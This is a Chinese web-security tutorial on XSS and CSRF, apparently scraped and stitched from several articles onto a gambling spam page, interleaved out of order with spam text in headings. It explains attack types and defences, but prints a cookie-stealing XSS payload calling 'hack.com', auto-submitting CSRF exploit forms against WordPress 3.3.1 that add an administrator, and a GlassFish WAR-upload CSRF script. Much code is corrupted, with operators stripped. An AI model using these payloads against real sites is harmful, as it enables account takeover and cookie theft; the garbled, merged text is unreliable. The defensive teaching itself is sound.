澳门新萄京官方网站-www.8455.com-澳门新萄京赌场网址

澳门新萄京官方网站:详整与进攻和防守实战,

2019-12-01 作者:澳门新萄京赌场网址   |   浏览(172)

Web 安全之 XSS

2017/06/12 · 基础技术 · XSS

原文出处: 今日头条技术博客澳门新萄京官方网站:详整与进攻和防守实战,跨站服务脚本攻击。   

1、漏洞概述

CSRF 详解与攻防实战

2016/10/27 · 基础技术 · CSRF

原文出处: 王下邀月熊_Chevalier   

浅说 XSS 和 CSRF

2018/07/16 · 基础技术 · CSRF, XSS

原文出处: dwqs   

在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式。本文将会简单介绍 XSS 和 CSRF 的攻防问题。

声明:本文的示例仅用于演示相关的攻击原理

什么是XSS

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS 是指攻击者在网页中嵌入客户端脚本,通常是 JavaScript 编写的恶意代码,当用户使 用浏览器浏览被嵌入恶意代码的网页时,恶意代码会在用户浏览器上执行。

Cross Site Request Forgery

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。CSRF与XSS在攻击手段上有点类似,都是在客户端执行恶意代码,有些文章中认为CSRF与XSS的区别在于CSRF不注重于获取用户Cookie,笔者认为可能还有区别在于CSRF不仅可以在源站发起攻击,还可以引导用户访问其他危险网站的同时发起攻击。XSS全程是跨站脚本攻击,即攻击者向某个Web页面中插入恶意的JavaScript脚本,而当普通用户访问时,该恶意脚本自动执行而从盗取用户的Cookie等信息。对于XSS的防御手段主要就是输入检查与输出检查,譬如对用户输入的文本框内容进行<、>这样的特殊字符检查。而输出检查则是指对于输出到网页的内容进行过滤或者编解码,譬如使用HTML编码将<转义。CSRF为跨站请求伪造,其与XSS有点类似,不过区别在于CSRF不一定依赖于JavaScript,并且不仅可以在源站发起攻击,还有可能当用户访问恶意网站时引导其访问原网站。CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。对于CSRF的防御也分为服务端防御与客户端防御两种,服务端防御典型的譬如给某个页面添加随机数,使得无法从第三方页面直接提交。在客户端防御的话可以利用譬如Firefox提供的一些检查工具。注意,CSRF并没有打破同源策略。

澳门新萄京官方网站 1

以下面的这个例子来说:银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000危险网站B,它里面有一段HTML的代码如下:

XHTML

<img src=;

1
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方 式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的 Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfe… money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作。参考深入解析跨站请求伪造漏洞:原理剖析(中所述,XSS与CSRF的区别在于:

  • XSS攻击需要JavaScript,而CSRF攻击不需要。
  • XSS攻击要求站点接受恶意代码,而对于CSRF攻击来说,恶意代码位于第三方站点上。过滤用户的输入可以防止恶意代码注入到某个站点,但是它无阻止法恶意代码在第三方站点上运行。

XSS

XSS,即 Cross Site Script,中译是跨站脚本攻击;其原本缩写是 CSS,但为了和层叠样式表(Cascading Style Sheet)有所区分,因而在安全领域叫做 XSS。

XSS 攻击是指攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

攻击者对客户端网页注入的恶意脚本一般包括 JavaScript,有时也会包含 HTML 和 Flash。有很多种方式进行 XSS 攻击,但它们的共同点为:将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作。

XSS攻击可以分为3类:反射型(非持久型)、存储型(持久型)、基于DOM。

XSS的攻击场景

  • 反射型这类攻击方式主要借助URL来实施。URL的构成分为协议、域名、端口、路径、查询几部分构成。如图所示:

    澳门新萄京官方网站 2

    XSS往往在“查询”部分发现漏洞构造攻击代码实施攻击,所谓“反射”可以理解为hacker并不会直接攻击客户,而是通过URL植入代码通过服务器获取并植入到用户页面完成攻击。攻击流程图如下:

    澳门新萄京官方网站 3

  • 存储型存储型攻击方式和反射型最大的区别就是不通过URL来传播,而是利用站点本身合法的存储结构,比如评论。任何用户都可以通过站点提供的接口提交评论内容,这些评论内容都被存储到服务器的数据库。当用户访问这些评论的时候,服务器从数据库提取内容插入到页面反馈给用户。如果评论内容本身是具备攻击性内容,用户无一幸免。攻击流程图如下:

    澳门新萄京官方网站 4

    从上下两个流程图来看,反射型和存储型的攻击方式是本质不同的,前者需要借助各种社交渠道传播具备攻击的URL来实施,后者通过网站本身的存储漏洞,攻击成本低很多,而且伤害力更大。

 XSS 属于 Web 前端攻击,包括但不限于普通用户,网站管理员如果被攻击,攻击装可 以劫持管理员的身份度网站服务器端进行文件管理,数据管理等操作。

原因浅析

CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。假设Alice访问了一个恶意站点M,该站点提供的内容中的JavaScript代码或者图像标签会导致Alice的浏览器向站点T发送一个HTTP请 求。由于该请求是发给站点T的,所以Alice的浏览器自动地给该请求附上与站点T对应的该会话cookie的sid。站点T看到该请求时,它就能通过该 cookie的推断出:该请求来自Alice,所以站点T就会对Alice的帐户执行所请求的操作。这样,CSRF攻击就能得逞了。其他大多数Web认证机制也面临同样的问题。例如,HTTP BasicAuth机制会要求Alice告诉浏览器她在站点T上的用户名和口令,于是浏览器将用户名和口令附加到之后发给站点T的请求中。当然,站点T也 可能使用客户端SSL证书,但这也面临同样的问题,因为浏览器也会将证书附加到发给站点T的请求中。类似的,如果站点T通过IP地址来验证Alice的身 份的话,照样面临CSRF攻击的威胁。总之,只要身份认证是隐式进行的,就会存在CSRF攻击的危险,因为浏览器发出请求这一动作未必是受用户的指使。原则上,这种威胁可以通过对每个发送至该 站点的请求都要求用户进行显式的、不可欺骗的动作(诸如重新输入用户名和口令)来消除,但实际上这会导致严重的易用性问题。大部分标准和广泛应用的认证机 制都无法防止CSRF攻击,所以我们只好另外探求一个实用的解决方案。

反射型

反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器,这种攻击方式往往需要攻击者诱使用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。

看一个示例。我先准备一个如下的静态页:

澳门新萄京官方网站 5

恶意链接的地址指向了 localhost:8001/?q=111&p=222。然后,我再启一个简单的 Node 服务处理恶意链接的请求:

JavaScript

const http = require('http'); function handleReequest(req, res) { res.setHeader('Access-Control-Allow-Origin', '*'); res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'}); res.write('<script>alert("反射型 XSS 攻击")</script>'); res.end(); } const server = new http.Server(); server.listen(8001, '127.0.0.1'); server.on('request', handleReequest);

1
2
3
4
5
6
7
8
9
10
11
const http = require('http');
function handleReequest(req, res) {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'});
    res.write('<script>alert("反射型 XSS 攻击")</script>');
    res.end();
}
 
const server = new http.Server();
server.listen(8001, '127.0.0.1');
server.on('request', handleReequest);

当用户点击恶意链接时,页面跳转到攻击者预先准备的页面,会发现在攻击者的页面执行了 js 脚本:

澳门新萄京官方网站 6

这样就产生了反射型 XSS 攻击。攻击者可以注入任意的恶意脚本进行攻击,可能注入恶作剧脚本,或者注入能获取用户隐私数据(如cookie)的脚本,这取决于攻击者的目的。

XSS的工作原理

不管是反射型还是存储型,服务端都会将JavaScript当做文本处理,这些文本在服务端被整合进html文档中,在浏览器解析这些文本的过程也就是XSS被执行的时候。

从攻击到执行分为以下几步:

  1. 构造攻击代码
  2. 服务端提取并写入HTML
  3. 浏览器解析,XSS执行

2、漏洞原理

Reference

  • 从零开始学CSRF
  • Preventing CSRF
  • Security Corner: Cross-Site Request Forgeries
  • 《深入解析跨站请求伪造漏洞:原理剖析》
  • 《Web安全测试之跨站请求伪造(CSRF)》
  • 《深入解析跨站请求伪造漏洞:实例讲解》

存储型

存储型 XSS 会把用户输入的数据 “存储” 在服务器端,当浏览器请求数据时,脚本从服务器上传回并执行。这种 XSS 攻击具有很强的稳定性。

比较常见的一个场景是攻击者在社区或论坛上写下一篇包含恶意 JavaScript 代码的文章或评论,文章或评论发表后,所有访问该文章或评论的用户,都会在他们的浏览器中执行这段恶意的 JavaScript 代码。

举一个示例。

先准备一个输入页面:

<input type="text" id="input"> <button id="btn">Submit</button> <script> const input = document.getElementById('input'); const btn = document.getElementById('btn'); let val; input.addEventListener('change', (e) => { val = e.target.value; }, false); btn.addEventListener('click', (e) => { fetch('', { method: 'POST', body: val }); }, false); </script>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<input type="text" id="input">
<button id="btn">Submit</button>  
 
<script>
    const input = document.getElementById('input');
    const btn = document.getElementById('btn');
 
    let val;
    
    input.addEventListener('change', (e) => {
        val = e.target.value;
    }, false);
 
    btn.addEventListener('click', (e) => {
        fetch('http://localhost:8001/save', {
            method: 'POST',
            body: val
        });
    }, false);
</script>

启动一个 Node 服务监听 save 请求。为了简化,用一个变量来保存用户的输入:

const http = require('http'); let userInput = ''; function handleReequest(req, res) { const method = req.method; res.setHeader('Access-Control-Allow-Origin', '*'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type') if (method === 'POST' && req.url === '/save') { let body = ''; req.on('data', chunk => { body = chunk; }); req.on('end', () => { if (body) { userInput = body; } res.end(); }); } else { res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'}); res.write(userInput); res.end(); } } const server = new http.Server(); server.listen(8001, '127.0.0.1'); server.on('request', handleReequest);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const http = require('http');
 
let userInput = '';
 
function handleReequest(req, res) {
    const method = req.method;
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type')
    
    if (method === 'POST' && req.url === '/save') {
        let body = '';
        req.on('data', chunk => {
            body = chunk;
        });
 
        req.on('end', () => {
            if (body) {
                userInput = body;
            }
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'});
        res.write(userInput);
        res.end();
    }
}
 
const server = new http.Server();
server.listen(8001, '127.0.0.1');
 
server.on('request', handleReequest);

当用户点击提交按钮将输入信息提交到服务端时,服务端通过 userInput 变量保存了输入内容。当用户通过 http://localhost:8001/${id} 访问时,服务端会返回与 id 对应的内容(本示例简化了处理)。如果用户输入了恶意脚本内容,则其他用户访问该内容时,恶意脚本就会在浏览器端执行:

澳门新萄京官方网站 7

构造攻击代码

hacker在发现站点对应的漏洞之后,基本可以确定是使用“反射型”或者“存储型”。对于反射型这个很简单了,执行类似代码:

JavaScript

onerror="new Image().src='//hack.com?c=' src='null'>"

1
https://www.toutiao.com/search?item=<img onerror="new Image().src='//hack.com?c=' src='null'>"

大家知道很多站点都提供搜索服务,这里的item字段就是给服务端提供关键词。如果hacker将关键词修改成可执行的JavaScript语句,如果服务端不加处理直接将类似代码回显到页面,XSS代码就会被执行。

这段代码的含义是告诉浏览器加载一张图片,图片的地址是空,根据加载机制空图片的加载会触发Element的onerror事件,这段代码的onerror事件是将本地cookie传到指定的网站。

很明显,hacker可以拿到“中招”用户的cookie,利用这个身份就可以拿到很多隐私信息和做一些不当的行为了。

对于存储型直接通过读取数据库将内容打到接口上就可以了。

XSS 攻击是在网页中嵌入客户端恶意脚本代码,这些恶意代码一般使用 JavaScript 编写 JS(JavaScript 简称)可以用 XSS 盗取用户 Cookie、改变网页内容、URL 跳转到恶意网站、监 控键盘记录、甚至 GetShell 等。

Exploits

本部分我们来看几个基于CSRF攻击的实例,包括简单的基于表单POST请求的攻击澳门新萄京官方网站:详整与进攻和防守实战,跨站服务脚本攻击。 ,其可以诱导用户点击.submit() 按钮既可以发起攻击。其他的还有稍微复杂一点的跨域文件上传CSRF攻击 ,其主要使用了 CORS use of the xhr.withCredentals behavior。

基于DOM

基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。

看如下代码:

<h2>XSS: </h2> <input type="text" id="input"> <button id="btn">Submit</button> <div id="div"></div> <script> const input = document.getElementById('input'); const btn = document.getElementById('btn'); const div = document.getElementById('div'); let val; input.addEventListener('change', (e) => { val = e.target.value; }, false); btn.addEventListener('click', () => { div.innerHTML = `<a href=${val}>testLink</a>` }, false); </script>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<h2>XSS: </h2>
<input type="text" id="input">
<button id="btn">Submit</button>
<div id="div"></div>
<script>
    const input = document.getElementById('input');
    const btn = document.getElementById('btn');
    const div = document.getElementById('div');
 
    let val;
    
    input.addEventListener('change', (e) => {
        val = e.target.value;
    }, false);
 
    btn.addEventListener('click', () => {
        div.innerHTML = `<a href=${val}>testLink</a>`
    }, false);
</script>

点击 Submit 按钮后,会在当前页面插入一个链接,其地址为用户的输入内容。如果用户在输入时构造了如下内容:

'' onclick=alert(/xss/)

1
2
'' onclick=alert(/xss/)
 

用户提交之后,页面代码就变成了:

<a href onlick="alert(/xss/)">testLink</a>

1
<a href onlick="alert(/xss/)">testLink</a>

此时,用户点击生成的链接,就会执行对应的脚本:

澳门新萄京官方网站 8

服务端提取并写入HTML

我们以 Node.js 应用型框架express.js为例:

服务端代码(express.js)

JavaScript

router.get('/', function (req, res, next) { res.render('index', { title: 'Express', search: req.query.item }); });

1
2
3
4
5
6
router.get('/', function (req, res, next) {  
    res.render('index', {
        title: 'Express',
        search: req.query.item
    });
});

ejs模板

<p> <%- search %> </p>

1
2
3
<p>  
<%- search %>  
</p>

这里列举了以反射型为主的服务端代码,通过获取URL的查询res.query.item,最后在模板中输出内容。对于存储型的区别是通过数据库拿到对应内容,模板部分一致。

3漏洞利用

WordPress 3.3.1 Multiple CSRF Vulnerabilities

该漏洞是由Ivano Binetti在2012年3月19号发现的,影响了WordPress 3.3.1版本,CVE编号CVE-2012-1936。WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator’s email
  • Change WordPress Address
  • Change Site Address

那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,核心的Exploit代码为:

XHTML

<html> <body onload="javascript:document.forms[0].submit()"> <h2>CSRF Exploit to change post title</h2> <form method="POST" name="form0" action="; <input type="hidden" name="post_title" value="hackedtitle"> <input type="hidden" name="post_name" value="hackedtitle"> <input type="hidden" name="mm" value="03"> <input type="hidden" name="jj" value="16"> <input type="hidden" name="aa" value="2012"> <input type="hidden" name="hh" value=""> <input type="hidden" name="mn" value=""> <input type="hidden" name="ss" value=""> <input type="hidden" name="post_author" value="1"> <input type="hidden" name="post_password" value=""> <input type="hidden" name="post_category[]" value="0"> <input type="hidden" name="post_category[]" value="1"> <input type="hidden" name="tax_input[post_tag]" value=""> <input type="hidden" name="comment_status" value="open"> <input type="hidden" name="ping_status" value="open"> <input type="hidden" name="_status" value="publish"> <input type="hidden" name="post_format" value="0"> <input type="hidden" name="_inline_edit" value="<sniffed_value>"> <input type="hidden" name="post_view" value="list"> <input type="hidden" name="screen" value="edit-post"> <input type="hidden" name="action" value="inline-save"> <input type="hidden" name="post_type" value="post"> <input type="hidden" name="post_ID" value="1"> <input type="hidden" name="edit_date" value="true"> <input type="hidden" name="post_status" value="all"> </form> </body> </html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<body onload="javascript:document.forms[0].submit()">
  <h2>CSRF Exploit to change post title</h2>
  <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php">
    <input type="hidden" name="post_title" value="hackedtitle">
    <input type="hidden" name="post_name" value="hackedtitle">
    <input type="hidden" name="mm" value="03">
    <input type="hidden" name="jj" value="16">
    <input type="hidden" name="aa" value="2012">
    <input type="hidden" name="hh" value="">
    <input type="hidden" name="mn" value="">
    <input type="hidden" name="ss" value="">
    <input type="hidden" name="post_author" value="1">
    <input type="hidden" name="post_password" value="">
    <input type="hidden" name="post_category[]" value="0">
    <input type="hidden" name="post_category[]" value="1">
    <input type="hidden" name="tax_input[post_tag]" value="">
    <input type="hidden" name="comment_status" value="open">
    <input type="hidden" name="ping_status" value="open">
    <input type="hidden" name="_status" value="publish">
    <input type="hidden" name="post_format" value="0">
    <input type="hidden" name="_inline_edit" value="<sniffed_value>">
    <input type="hidden" name="post_view" value="list">
    <input type="hidden" name="screen" value="edit-post">
    <input type="hidden" name="action" value="inline-save">
    <input type="hidden" name="post_type" value="post">
    <input type="hidden" name="post_ID" value="1">
    <input type="hidden" name="edit_date" value="true">
    <input type="hidden" name="post_status" value="all">
  </form>
</body>
</html>

另一个测试用例时添加某个具有管理员权限的用户,测试用例为:

XHTML

<html> <body onload="javascript:document.forms[0].submit()"> <h2>CSRF Exploit to add Administrator</h2> <form method="POST" name="form0" action="; <input type="hidden" name="action" value="createuser"> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"> <input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/user-new.php"> <input type="hidden" name="user_login" value="admin2"> <input type="hidden" name="email" value="admin2@admin.com"> <input type="hidden" name="first_name" value="admin2@admin.com"> <input type="hidden" name="last_name" value=""> <input type="hidden" name="url" value=""> <input type="hidden" name="pass1" value="password"> <input type="hidden" name="pass2" value="password"> <input type="hidden" name="role" value="administrator"> <input type="hidden" name="createuser" value="Add New User "> </form> </body> </html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<body onload="javascript:document.forms[0].submit()">
  <h2>CSRF Exploit to add Administrator</h2>
  <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">
    <input type="hidden" name="action" value="createuser">
    <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>">
    <input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/user-new.php">
    <input type="hidden" name="user_login" value="admin2">
    <input type="hidden" name="email" value="admin2@admin.com">
    <input type="hidden" name="first_name" value="admin2@admin.com">
    <input type="hidden" name="last_name" value="">
    <input type="hidden" name="url" value="">
    <input type="hidden" name="pass1" value="password">
    <input type="hidden" name="pass2" value="password">
    <input type="hidden" name="role" value="administrator">
    <input type="hidden" name="createuser" value="Add New User ">
  </form>
</body>
</html>

XSS 攻击的防范

现在主流的浏览器内置了防范 XSS 的措施,例如 CSP。但对于开发者来说,也应该寻找可靠的解决方案来防止 XSS 攻击。

浏览器解析,XSS执行

澳门新萄京官方网站 9

从这个图上来看浏览器解析主要做三件事:

  • 将文档解析成DOM Tree
  • 解析CSS成规则树
  • Javascript解析

在这个过程,XSS的代码从文本变的可执行。

xss 分为3种 反射性  ,存储型  ,DOM型

Oracle GlassFish Server – REST Cross-Site Request Forgery

该漏洞是由Security-Assessment.com发现的,Oracle GlassFish服务器的REST接口可以被CSRF请求攻击,譬如其可以允许普通用户任意上传WAR包,并且可以控制在服务端运行从而导致窃取其他运行应用的信息。关于具体的攻击复盘可以参考这里。其攻击手段是首先在钓鱼站点上设置如下按钮:

XHTML

<button id="upload" onclick="start()" type="button">Upload WAR Archive</button>

1
<button id="upload" onclick="start()" type="button">Upload WAR Archive</button>

然后添加如下脚本:

JavaScript

var logUrl = ''; function fileUpload(fileData, fileName) { var fileSize = fileData.length, boundary = "---------------------------270883142628617", uri = logUrl, xhr = new XMLHttpRequest(); var additionalFields = { asyncreplication: "true", availabilityenabled: "false", contextroot: "", createtables: "true", dbvendorname: "", deploymentplan: "", description: "", dropandcreatetables: "true", enabled: "true", force: "false", generatermistubs: "false", isredeploy: "false", keepfailedstubs: "false", keepreposdir: "false", keepstate: "true", lbenabled: "true", libraries: "", logReportedErrors: "true", name: "", precompilejsp: "false", properties: "", property: "", retrieve: "", target: "", type: "", uniquetablenames: "true", verify: "false", virtualservers: "", __remove_empty_entries__: "true" } if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4 var tmp = ''; for (var i = 0; i < fileData.length; i ) tmp = String.fromCharCode(fileData.charCodeAt(i) & 0xff); fileData = tmp; } else { // Chrome 9 // XMLHttpRequest.prototype.sendAsBinary = function(text){ var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i ) ui8a[i] = (text.charCodeAt(i) & 0xff); var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); bb.append(data); var blob = bb.getBlob(); this.send(blob); } } var fileFieldName = "id"; xhr.open("POST", uri, true); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" boundary); // simulate a file MIME POST request. xhr.setRequestHeader("Content-Length", fileSize); xhr.withCredentials = "true"; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { if (xhr.responseText != "") { alert(JSON.parse(xhr.responseText).msg); } } else if (xhr.status == 0) { } } } var body = ""; for (var i in additionalFields) { if (additionalFields.hasOwnProperty(i)) { body = addField(i, additionalFields[i], boundary); } } body = addFileField(fileFieldName, fileData, fileName, boundary); body = "--"

  • boundary "--"; xhr.sendAsBinary(body); return true; } function addField(name, value, boundary) { var c = "--" boundary "rn" c = 'Content-Disposition: form-data; name="' name '"rnrn'; c = value "rn"; return c; } function addFileField(name, value, filename, boundary) { var c = "--" boundary "rn" c = 'Content-Disposition: form-data; name="' name '"; filename="' filename '"rn'; c = "Content-Type: application/octet-streamrnrn"; c = value "rn"; return c; } function getBinary(file){ var xhr = new XMLHttpRequest(); xhr.open("GET", file, false); xhr.overrideMimeType("text/plain; charset=x-user-defined"); xhr.send(null); return xhr.responseText; } function readBinary(data) { var tmp = ''; for (var i = 0; i < data.length; i ) tmp = String.fromCharCode(data.charCodeAt(i) & 0xff); data = tmp; return tmp; } function start() { var c = getBinary('maliciousarchive.war'); fileUpload(c, "maliciousarchive.war"); }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
var logUrl = 'http://glassfishserver/management/domain/applications/application';
  
function fileUpload(fileData, fileName) {
    var fileSize = fileData.length,
      boundary = "---------------------------270883142628617",
      uri = logUrl,
      xhr = new XMLHttpRequest();
  
    var additionalFields = {
          asyncreplication: "true",
          availabilityenabled: "false",
          contextroot: "",
        createtables: "true",
        dbvendorname: "",
        deploymentplan: "",
        description: "",
        dropandcreatetables: "true",
        enabled: "true",
        force: "false",
        generatermistubs: "false",
        isredeploy: "false",
        keepfailedstubs: "false",
        keepreposdir: "false",
        keepstate: "true",
        lbenabled: "true",
        libraries: "",
        logReportedErrors: "true",
        name: "",
        precompilejsp: "false",
        properties: "",
        property: "",
        retrieve: "",
        target: "",
        type: "",
        uniquetablenames: "true",
        verify: "false",
        virtualservers: "",
        __remove_empty_entries__: "true"
          
    }
      
    if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4
    var tmp = '';
    for (var i = 0; i < fileData.length; i ) tmp =
String.fromCharCode(fileData.charCodeAt(i) & 0xff);
    fileData = tmp;
  }
  else { // Chrome 9
    // http://javascript0.org/wiki/Portable_sendAsBinary
    XMLHttpRequest.prototype.sendAsBinary = function(text){
      var data = new ArrayBuffer(text.length);
      var ui8a = new Uint8Array(data, 0);
      for (var i = 0; i < text.length; i ) ui8a[i] = (text.charCodeAt(i) & 0xff);
  
      var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();
  
      bb.append(data);
      var blob = bb.getBlob();
      this.send(blob);
    
    }
  }
    var fileFieldName = "id";
    xhr.open("POST", uri, true);
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" boundary); // simulate a
file MIME POST request.
    xhr.setRequestHeader("Content-Length", fileSize);
    xhr.withCredentials = "true";
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
        if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {
            
          if (xhr.responseText != "") {
            alert(JSON.parse(xhr.responseText).msg);  
          }
        } else if (xhr.status == 0) {
            
        }
      }
    }
      
    var body = "";
      
    for (var i in additionalFields) {
      if (additionalFields.hasOwnProperty(i)) {
        body = addField(i, additionalFields[i], boundary);
      }
    }
  
    body = addFileField(fileFieldName, fileData, fileName, boundary);
    body = "--" boundary "--";
    xhr.sendAsBinary(body);
    return true;
}
  
function addField(name, value, boundary) {
  var c = "--" boundary "rn"
  c = 'Content-Disposition: form-data; name="' name '"rnrn';
  c = value "rn";
  return c;
}
  
function addFileField(name, value, filename, boundary) {
    var c = "--" boundary "rn"
    c = 'Content-Disposition: form-data; name="' name '"; filename="' filename '"rn';
    c = "Content-Type: application/octet-streamrnrn";
    c = value "rn";
    return c;  
}
  
function getBinary(file){
  var xhr = new XMLHttpRequest();  
  xhr.open("GET", file, false);  
  xhr.overrideMimeType("text/plain; charset=x-user-defined");  
  xhr.send(null);
  return xhr.responseText;
}
  
function readBinary(data) {
  
var tmp = '';
    for (var i = 0; i < data.length; i ) tmp = String.fromCharCode(data.charCodeAt(i) &
0xff);
    data = tmp;
    return tmp;
    }
  
function start() {
  var c = getBinary('maliciousarchive.war');
  fileUpload(c, "maliciousarchive.war");
    
}

HttpOnly 防止劫取 Cookie

HttpOnly 最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript 访问带有 HttpOnly 属性的Cookie。

上文有说到,攻击者可以通过注入恶意脚本获取用户的 Cookie 信息。通常 Cookie 中都包含了用户的登录凭证信息,攻击者在获取到 Cookie 之后,则可以发起 Cookie 劫持攻击。所以,严格来说,HttpOnly 并非阻止 XSS 攻击,而是能阻止 XSS 攻击后的 Cookie 劫持攻击。

XSS的防范措施

反射性xss也称非持久性xss,是最容易出现的一种xss

防御

输入检查

不要相信用户的任何输入。 对于用户的任何输入要进行检查、过滤和转义。建立可信任的字符和 HTML 标签白名单,对于不在白名单之列的字符或者标签进行过滤或编码。

在 XSS 防御中,输入检查一般是检查用户输入的数据中是否包含 <> 等特殊字符,如果存在,则对特殊字符进行过滤或编码,这种方式也称为 XSS Filter。

而在一些前端框架中,都会有一份 decodingMap, 用于对用户输入所包含的特殊字符或标签进行编码或过滤,如 <>script,防止 XSS 攻击:

JavaScript

// vuejs 中的 decodingMap // 在 vuejs 中,如果输入带 script 标签的内容,会直接过滤掉 const decodingMap = { '<': '<', '>': '>', '"': '"', '&': '&', ' ': 'n' }

1
2
3
4
5
6
7
8
9
10
// vuejs 中的 decodingMap
// 在 vuejs 中,如果输入带 script 标签的内容,会直接过滤掉
const decodingMap = {
  '&lt;': '<',
  '&gt;': '>',
  '&quot;': '"',
  '&amp;': '&',
  '
': 'n'
}
编码

对于反射型的代码,服务端代码要对查询进行编码,主要目的就是将查询文本化,避免在浏览器解析阶段转换成DOM和CSS规则及JavaScript解析。

常见的HTML实体编码如下:

澳门新萄京官方网站 10

除了编码和解码,还需要做额外的共奏来解决富文本内容的XSS攻击。

我们知道很多场景是允许用户输入富文本,而且也需要将富文本还原。这个时候就是hacker容易利用的点进行XSS攻击。

例子:

服务端防御

输出检查

用户的输入会存在问题,服务端的输出也会存在问题。一般来说,除富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。

DOM Parse和过滤

从XSS工作的原理可知,在服务端进行编码,在模板解码这个过程对于富文本的内容来说,完全可以被浏览器解析到并执行,进而给了XSS执行的可乘之机。

为了杜绝悲剧发生,我们需要在浏览器解析之后进行解码,得到的文本进行DOM parse拿到DOM Tree,对所有的不安全因素进行过滤,最后将内容交给浏览器,达到避免XSS感染的效果。

具体原理如下:

澳门新萄京官方网站 11

  • 解码

JavaScript

